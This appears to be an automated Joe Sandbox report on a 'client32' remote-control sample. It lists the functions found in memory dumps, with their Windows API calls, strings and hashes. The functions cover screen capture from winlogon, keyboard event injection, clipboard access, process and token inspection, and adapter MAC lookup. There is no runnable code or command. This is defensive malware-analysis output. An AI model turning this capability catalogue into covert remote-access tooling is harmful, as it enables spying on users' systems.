Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLock
String ID: ..\ctl32\Errorhan.cpp$hMap
API String ID: 2752051264-327499879
Opcode ID: 4b4fe2a71f7d748f02518d03cf39b1b5f1061245372e77ab65800b9219663b1a
Instruction ID: 3c24799b714a192eacab9213173f85fc7e3b9246bd1fd21045fe874d5ce20fb5
Opcode Fuzzy Hash: 4b4fe2a71f7d748f02518d03cf39b1b5f1061245372e77ab65800b9219663b1a
Instruction Fuzzy Hash: BD11DA39E4937666D712EAFE9C44B7AB7D8ABC07A8B014471FC69E3540FB20D450C7A1

Function 11113380 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 11113387
GetTickCount.KERNEL32 ref: 111133A1

Strings

nc->cmd.mouse.nevents < NC_MAXEVENTS, xrefs: 111133D9
..\ctl32\Remote.cpp, xrefs: 111133D4

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountIconicTick
String ID: ..\ctl32\Remote.cpp$nc->cmd.mouse.nevents < NC_MAXEVENTS
API String ID: 1307367305-2838568823
Opcode ID: fccd6ed02a63c9ea5242b78adbaa7ba576b571540b65b10685f4287bd127c7f7
Instruction ID: cb75b6c9c213d9e442ee644175f48350251445db3f236d69570c6cf200ac5b3b
Opcode Fuzzy Hash: fccd6ed02a63c9ea5242b78adbaa7ba576b571540b65b10685f4287bd127c7f7
Instruction Fuzzy Hash: 11018135AA8B528AC725CFB0C9456DAFBE4AF04359F00443DE49F86658FB24B082C70A

Function 110C1020 Relevance: 6.1, APIs: 4, Instructions: 93windowthreadCOMMON

Download Yara Rule

APIs

IsIconic.USER32(000000FF), ref: 110C10AD
ShowWindow.USER32(000000FF,00000009,?,1105E793,00000001,00000001,?,00000000), ref: 110C10BD
BringWindowToTop.USER32(000000FF), ref: 110C10C7
GetCurrentThreadId.KERNEL32 ref: 110C10E8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$BringCurrentIconicShowThread
String ID:
API String ID: 4184413098-0
Opcode ID: 9cd2ccb7cdf78e839ebc1708f3911b6b440f138af10aef91ba48fa7e682de2eb
Instruction ID: 84533db14937db9444e2f7c69536c5845b28cc0232cb9748846df38ed0837754
Opcode Fuzzy Hash: 9cd2ccb7cdf78e839ebc1708f3911b6b440f138af10aef91ba48fa7e682de2eb
Instruction Fuzzy Hash: 1731CD3AA00315DBDB14DE68D48079ABBA8AF48754F1540BAFC169F246CBB5E845CFE0

Function 11113190 Relevance: 3.1, APIs: 2, Instructions: 54keyboardCOMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,00000101,?,00000001,00000000,00000000,?,00000000), ref: 111131E2
keybd_event.USER32(00000091,00000046,00000000,00000000), ref: 11113215

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ControlDevicekeybd_event
String ID:
API String ID: 1421710848-0
Opcode ID: 9865bf64858dfd4b5ae79e364b4789db47783bc591ded0e092dc9763c4139b7b
Instruction ID: d69eaa5760cfcdb7a6e8037c3782fd2f7db196db4b5aaba7e7bab0ff0a721f20
Opcode Fuzzy Hash: 9865bf64858dfd4b5ae79e364b4789db47783bc591ded0e092dc9763c4139b7b
Instruction Fuzzy Hash: E4012432F55A1539F30489B99E45FE7FA2CAB40721F014278EE59AB2C8DAA09904C6A0

Function 110335A0 Relevance: 3.0, APIs: 2, Instructions: 49clipboardCOMMON

Download Yara Rule

APIs

GetClipboardFormatNameA.USER32(?,?,00000050), ref: 110335F6
SetClipboardData.USER32(00000000,00000000), ref: 11033612

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Clipboard$DataFormatName
String ID:
API String ID: 3172747766-0
Opcode ID: e17e0e6aed767a58da8d411b70808350d70cb6dd51a63046c179038dcd941cc4
Instruction ID: d021e7b1abaf81fd48200924965e9797cc36530c630056afc83bc75e16402c3f
Opcode Fuzzy Hash: e17e0e6aed767a58da8d411b70808350d70cb6dd51a63046c179038dcd941cc4
Instruction Fuzzy Hash: 6701D830D2E124AEC714DF608C8097EB7ACEF8960BB018556FC419A380EF29A601D7F6

Function 1103D530 Relevance: 56.4, APIs: 14, Strings: 18, Instructions: 385libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(netapi32.dll), ref: 1103D576
GetProcAddress.KERNEL32(00000000,Netbios), ref: 1103D590
_memset.LIBCMT ref: 1103D5AB
_memset.LIBCMT ref: 1103D605
_memset.LIBCMT ref: 1103D635
wsprintfA.USER32 ref: 1103D6EE
FreeLibrary.KERNEL32(?), ref: 1103D747
FreeLibrary.KERNEL32(?), ref: 1103D779
LoadLibraryA.KERNEL32(IPHLPAPI.DLL), ref: 1103D793
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 1103D7AF
_malloc.LIBCMT ref: 1103D811
wsprintfA.USER32 ref: 1103D8C8

Strings

Info. macaddr[%d]=%s, ipaddr=%hs/%hs, xrefs: 1103D912
Warning. Netbios() returned x%x, xrefs: 1103D74F
Info. Set MacAddr to %s, xrefs: 1103DA2B
VIRTNET, xrefs: 1103D8E9
CLTCONN.CPP, xrefs: 1103D7C0
* , xrefs: 1103D647
Info. Unable to load netapi32, xrefs: 1103D781
Netbios, xrefs: 1103D58A
TCPIP, xrefs: 1103D564
netapi32.dll, xrefs: 1103D571
IPHLPAPI.DLL, xrefs: 1103D78E
ListenAddress, xrefs: 1103D55F
%d adapters in chain, %d adapters by size, xrefs: 1103D851
GetAdaptersInfo, xrefs: 1103D7A9
%02x%02x%02x%02x%02x%02x, xrefs: 1103D6E8, 1103D8BC
3, xrefs: 1103D697
Info. Netbios macaddr=%s, xrefs: 1103D70F
pGetAdaptersInfo, xrefs: 1103D7C5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$_memset$AddressFreeLoadProcwsprintf$_malloc
String ID: %02x%02x%02x%02x%02x%02x$%d adapters in chain, %d adapters by size$* $3$CLTCONN.CPP$GetAdaptersInfo$IPHLPAPI.DLL$Info. Netbios macaddr=%s$Info. Set MacAddr to %s$Info. Unable to load netapi32$Info. macaddr[%d]=%s, ipaddr=%hs/%hs$ListenAddress$Netbios$TCPIP$VIRTNET$Warning. Netbios() returned x%x$netapi32.dll$pGetAdaptersInfo
API String ID: 2942389153-3574733319
Opcode ID: a1f09aa51e896bd3823c6bcd84ba5b8c2eceb3d4fedcf053763cb51e93d6f7e9
Instruction ID: 9380186eaa86aba5e78307d08d1cef0eec38285017acdf678952b44c5cd5fdba
Opcode Fuzzy Hash: a1f09aa51e896bd3823c6bcd84ba5b8c2eceb3d4fedcf053763cb51e93d6f7e9
Instruction Fuzzy Hash: 60E13A75D1429A9FEB17CB648C90BEEBBF96F85305F4400D9E858B7240E630AB44CF61

Function 110B3100 Relevance: 50.9, APIs: 23, Strings: 6, Instructions: 178filewindowCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100000,00000000,Client32DIBQuit), ref: 110B3130
OpenEventA.KERNEL32(00100000,00000000,Client32DIBBlit), ref: 110B3141
OpenEventA.KERNEL32(00000002,00000000,Client32DIBDone), ref: 110B314F
WaitForMultipleObjects.KERNEL32(00000002,00000000,00000000,000000FA), ref: 110B3183
OpenFileMappingA.KERNEL32(000F001F,00000000,Client32DIB), ref: 110B31A6
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 110B31C2
GetDC.USER32(00000000), ref: 110B31E8
CreateCompatibleDC.GDI32(00000000), ref: 110B31FC
CreateDIBSection.GDI32(00000000,00000004,00000000,?,?,?), ref: 110B321F
SelectObject.GDI32(00000000,00000000), ref: 110B3236
GetTickCount.KERNEL32 ref: 110B323F
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00CC0020), ref: 110B3276
GetTickCount.KERNEL32 ref: 110B327F
GetLastError.KERNEL32(00000000), ref: 110B328E
GdiFlush.GDI32 ref: 110B32A2
SelectObject.GDI32(00000000,?), ref: 110B32AD
DeleteObject.GDI32(00000000), ref: 110B32B4
SetEvent.KERNEL32(?), ref: 110B32BE
DeleteDC.GDI32(00000000), ref: 110B32C8
ReleaseDC.USER32(00000000,00000000), ref: 110B32D4
UnmapViewOfFile.KERNEL32(00000000), ref: 110B32DE
CloseHandle.KERNEL32(00000000), ref: 110B32E5
CloseHandle.KERNEL32(00000000), ref: 110B3309

Strings

Client32DIBBlit, xrefs: 110B3132
Client32DIBQuit, xrefs: 110B3124
ERROR %d blitting from winlogon, took %d ms, xrefs: 110B3295
Client32DIB, xrefs: 110B319A
Client32DIBDone, xrefs: 110B3143
ScrapeApp, xrefs: 110B3111

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventOpen$FileObject$CloseCountCreateDeleteHandleSelectTickView$CompatibleErrorFlushLastMappingMultipleObjectsReleaseSectionUnmapWait
String ID: Client32DIB$Client32DIBBlit$Client32DIBDone$Client32DIBQuit$ERROR %d blitting from winlogon, took %d ms$ScrapeApp
API String ID: 2071925733-2101319552
Opcode ID: 69ccdf57648ba78fab6be258752d8ad5ba147c4fba19d096890e8e9156bf9cf5
Instruction ID: 4116a02b123aa608432531ba698621a05075ff29bb652617cbc71955754d1d1a
Opcode Fuzzy Hash: 69ccdf57648ba78fab6be258752d8ad5ba147c4fba19d096890e8e9156bf9cf5
Instruction Fuzzy Hash: A9518679E40229ABDB14CFE4CD89F9EBBB4FB48704F104064F921AB644D774A900CB65

Function 11005410 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E950: __itow.LIBCMT ref: 1105E975

GetObjectA.GDI32(?,0000003C,?), ref: 110054E5

Part of subcall function 11110230: _malloc.LIBCMT ref: 11110239
Part of subcall function 11110230: _memset.LIBCMT ref: 11110262

wsprintfA.USER32 ref: 1100553D
DeleteObject.GDI32(?), ref: 11005592
DeleteObject.GDI32(?), ref: 1100559B
SelectObject.GDI32(?,?), ref: 110055B2
DeleteObject.GDI32(?), ref: 110055B8
DeleteDC.GDI32(?), ref: 110055BE
SelectObject.GDI32(?,?), ref: 110055CF
DeleteObject.GDI32(?), ref: 110055D8
DeleteDC.GDI32(?), ref: 110055DE
DeleteObject.GDI32(?), ref: 110055EF
DeleteObject.GDI32(?), ref: 1100561A
DeleteObject.GDI32(?), ref: 11005638
DeleteObject.GDI32(?), ref: 11005641
ShowWindow.USER32(?,00000009), ref: 1100566F
PostQuitMessage.USER32(00000000), ref: 11005677

Strings

PenColour, xrefs: 11005451
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11005537
PenStyle, xrefs: 1100546F
FillColour, xrefs: 110054AB
PenWidth, xrefs: 1100548D
Tool, xrefs: 11005433
Annotate, xrefs: 11005438, 11005456, 11005474, 11005492, 110054B0, 110054CE, 11005554
Font, xrefs: 1100554F
FillStyle, xrefs: 110054C9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Delete$Select$MessagePostQuitShowWindow__itow_malloc_memsetwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$FillColour$FillStyle$Font$PenColour$PenStyle$PenWidth$Tool
API String ID: 2789700732-770455996
Opcode ID: 5643fefa4b39ee0fff75ee309dbb4bc87683bc06c1bf1752bbaaaa7d6b9440ae
Instruction ID: fd76b8300a222304a99732cac27ba94327f80de35dfbaf81c148901aa75ffadf
Opcode Fuzzy Hash: 5643fefa4b39ee0fff75ee309dbb4bc87683bc06c1bf1752bbaaaa7d6b9440ae
Instruction Fuzzy Hash: 24813775600609AFD368DBA5CD91EABF7F9BF8C704F00494DE5AAA7241CA74F801CB60

Function 6EEFBED0 Relevance: 44.0, APIs: 7, Strings: 18, Instructions: 200COMMON

Download Yara Rule

APIs

Part of subcall function 6EF075B0: _malloc.LIBCMT ref: 6EF075D8

Part of subcall function 6EF07D00: __vswprintf.LIBCMT ref: 6EF07D26

Part of subcall function 6EEF5060: _free.LIBCMT ref: 6EEF506A
Part of subcall function 6EEF5060: _malloc.LIBCMT ref: 6EEF5090

_free.LIBCMT ref: 6EEFBF22

Part of subcall function 6EF11BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6EF11C13
Part of subcall function 6EF11BFD: GetLastError.KERNEL32(00000000), ref: 6EF11C25

_free.LIBCMT ref: 6EEFBF51
_free.LIBCMT ref: 6EEFBF7C
_free.LIBCMT ref: 6EEFC005
_free.LIBCMT ref: 6EEFC034
_free.LIBCMT ref: 6EEFC063
_free.LIBCMT ref: 6EEFC109

Strings

OC=%d, xrefs: 6EEFC09F
UID=%s, xrefs: 6EEFBF16
TZ=%d, xrefs: 6EEFC0F7
APPTYPE=%d, xrefs: 6EEFBF85
ID=%d, xrefs: 6EEFBEEE
UN=%s, xrefs: 6EEFBF70
WP=%d, xrefs: 6EEFC089
DA=%d, xrefs: 6EEFC0B5
BFLG=%d, xrefs: 6EEFBF94
DATA=, xrefs: 6EEFBF9F
SD=%s, xrefs: 6EEFBFF9
WD=%u, xrefs: 6EEFC073
DEPT=%s, xrefs: 6EEFBF45
YR=%d, xrefs: 6EEFC0E1
TIMING=%d, xrefs: 6EEFBFC6
TM=%s, xrefs: 6EEFC057
MO=%d, xrefs: 6EEFC0CB
ED=%s, xrefs: 6EEFC028

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _free$_malloc$ErrorFreeHeapLast__vswprintf
String ID: APPTYPE=%d$BFLG=%d$DA=%d$DATA=$DEPT=%s$ED=%s$ID=%d$MO=%d$OC=%d$SD=%s$TIMING=%d$TM=%s$TZ=%d$UID=%s$UN=%s$WD=%u$WP=%d$YR=%d
API String ID: 2888336863-1668223812
Opcode ID: 923d260d257590c74c7c0efe9c56da61c4d043fd934ed40fa36a61a5a564141a
Instruction ID: ead9254983c788187340eb0512fdbd05b7230dfa2411bf24e3c6844a5cc9e73d
Opcode Fuzzy Hash: 923d260d257590c74c7c0efe9c56da61c4d043fd934ed40fa36a61a5a564141a
Instruction Fuzzy Hash: 74513EB1600214BBD712AEA1CCB0FFF73ACAF54548B208859F9195B381EB35F90996F5

Function 11107050 Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 304libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,EFF676FC,00000002,11030250,?,00000000,1118A896,000000FF,?,1110809F,00000000,?,11030250,00000000,00000000), ref: 1110708D

Part of subcall function 11138260: GetVersion.KERNEL32(00000000,75920BD0,00000000), ref: 11138283
Part of subcall function 11138260: GetModuleHandleA.KERNEL32(ntdll.dll), ref: 111382A4
Part of subcall function 11138260: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 111382B4
Part of subcall function 11138260: GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 111382D1
Part of subcall function 11138260: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 111382DD
Part of subcall function 11138260: _memset.LIBCMT ref: 111382F7

FreeLibrary.KERNEL32(00000000,?,1110809F,00000000,?,11030250,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF), ref: 111070DF
LoadLibraryA.KERNEL32(Kernel32.dll,?,1110809F,00000000,?,11030250,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF), ref: 11107116
GetProcAddress.KERNEL32(00000000,WTSGetActiveConsoleSessionId), ref: 111071A0
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 111071F1
GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 1110726A
SetLastError.KERNEL32(00000078,?,1110809F), ref: 1110728C
SetLastError.KERNEL32(00000078,?,1110809F), ref: 111072A3
SetLastError.KERNEL32(00000078,?,1110809F), ref: 111072B0
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1110809F), ref: 111072D0

Part of subcall function 110262F0: GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11026306
Part of subcall function 110262F0: K32GetProcessImageFileNameA.KERNEL32(?,00000000,11030983,00000000,?,?,?,11030983,00000000,?,00000208), ref: 11026322
Part of subcall function 110262F0: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11026336

CloseHandle.KERNEL32(00000000,00000000,?,00000104,?,1110809F), ref: 11107446

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

OpenProcessToken.ADVAPI32(00000000,00000008,?,?,00000000,?,00000104,?,1110809F), ref: 11107360
GetTokenInformation.ADVAPI32(?,0000000C(TokenIntegrityLevel),?,00000004,?,?,00000000,?,00000104,?,1110809F), ref: 1110738F
CloseHandle.KERNEL32(?,?,00000000,?,00000104,?,1110809F), ref: 1110743F
FreeLibrary.KERNEL32(?,?,?,?,?,1110809F), ref: 111074CC
FreeLibrary.KERNEL32(00000000,?,?,?,?,1110809F), ref: 111074D3

Strings

winlogon.exe, xrefs: 111073D4
Kernel32.dll, xrefs: 11107111
WTSGetActiveConsoleSessionId, xrefs: 11107184
EnumProcesses, xrefs: 111071DF
psapi.dll, xrefs: 11107088
dwm.exe, xrefs: 111073BB
ProcessIdToSessionId, xrefs: 11107264

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$Handle$ErrorFreeLastProcess$CloseLoadModuleOpenToken$FileImageInformationNameVersion_memset_strrchr
String ID: EnumProcesses$Kernel32.dll$ProcessIdToSessionId$WTSGetActiveConsoleSessionId$dwm.exe$psapi.dll$winlogon.exe
API String ID: 348974188-2591373181
